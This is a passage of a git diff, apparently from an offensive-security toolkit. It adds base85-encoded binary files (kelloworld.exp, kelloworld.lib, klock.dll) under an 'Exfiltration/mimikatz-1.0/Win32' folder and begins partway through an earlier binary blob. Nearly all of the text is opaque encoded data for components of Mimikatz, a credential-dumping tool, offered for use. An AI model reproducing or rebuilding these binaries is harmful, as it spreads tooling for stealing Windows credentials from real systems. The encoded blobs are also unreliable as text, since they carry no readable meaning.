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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp new file mode 100644 index 0000000000000000000000000000000000000000..ce21b1639935cc8c9ddd1454fc21c648bafa3a1f GIT binary patch literal 816 zcmbtS%}T>S5T3MZRXntwJ><|siyB%LDN>;*Dn+fuLPcDVv{~!YO*U-OAAAzQs}JHU z`2;$%X=@N~4w>0+zU)rE$?TPtf!b^HR%QU!!IG&$e0C?M^9S=@+XwjH|9KT!Ot0=bAPWE47rqQqO|lJPfB=Rq!5Z=0I)HulY=cp zS@ay(7?%txVq7+;gpqXTpn`G5pdE~B1|674Z|U48dK*RFgH=EXr$_8U#LuH1YpV&@ z9TIUi4Y?LR4`NrcW-wMmzI!cvF?8b>=Fh-x)v2&M5$x}=R3CgA!Zy?kIV??r6QiH6 z#ui+QzE+WXitW;E*}iJFF5w-H3(%i<{}ducPrE`39;MU(pK_|()@q<#-#!*> literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib new file mode 100644 index 0000000000000000000000000000000000000000..5328cbd8b079eefb6d37d9fe98f46411138feda7 GIT binary patch literal 1900 zcmcIlO>Wab6#ne|G(-qRg{~?jBPs!#)Jg2riwdP7NJMqh%1tG9Cd6$M;o>MQWyu9N z0E##OhhWhopo#?t;2z~Yd#1Ka=%2z!o|*UgdEWcxeKUTv+8g%=&x^}ix>ahHZkmRr zTWMSuW~FY3*_$GOIY2oDvIQX5Br_j9`3aDpxNdu6Yt!kvt(V&`oc30C({bPJ`hM^+ z82cVvx3gp0fBWE5>=e0lU+r|(-PT%njXoM4j9hm#e7_ITN5~+taAJOAek(D*91%QK zfI=2%l94C26J|)b0u?!A!zV*o-HxeXlgKy4FNueYFWZ@T)5@OjFKbs-($wqcm9&)% ztS@b6p4k#RCRp}%-+tI%+Kx=1MU&6c5Mu+SW_jrKj(ST~`RV~pe$ew<02vw^&`*S4 zUBD>OM5TDrkMRby6P3mV++h><(xjf?eu+1qm*mC@436hFhW&AH80;NsPn~C)-R`W1 zZ!dIr$>tAv0a9!@;~cokb4UlGO!~pWh*A!YzvApnhUBlfagHh^^9B%RJ&;Jqkz-{f zVz3VZIQKDQgz?ARiN>n~tHRDLd=E3^Jg2M13tz=uLNzss zvTD9bLyWAN|D}fO)b}Cf@y|=Dm{!cy=dEhRH;X)PzbHaf?ddyr$$2y7X0ayuyd_)W zycrT_zn{_&{%+(SP_EM_>aVA)mHc}TMRiC;3jU-bj@(%8XA@9u@)$n MLN{mhN4gm050?*g&;S4c literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.dll b/Exfiltration/mimikatz-1.0/Win32/klock.dll new file mode 100644 index 0000000000000000000000000000000000000000..d78b442d5a861b2a7f21430f4f1569b7904a8d1b GIT binary patch literal 133120 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 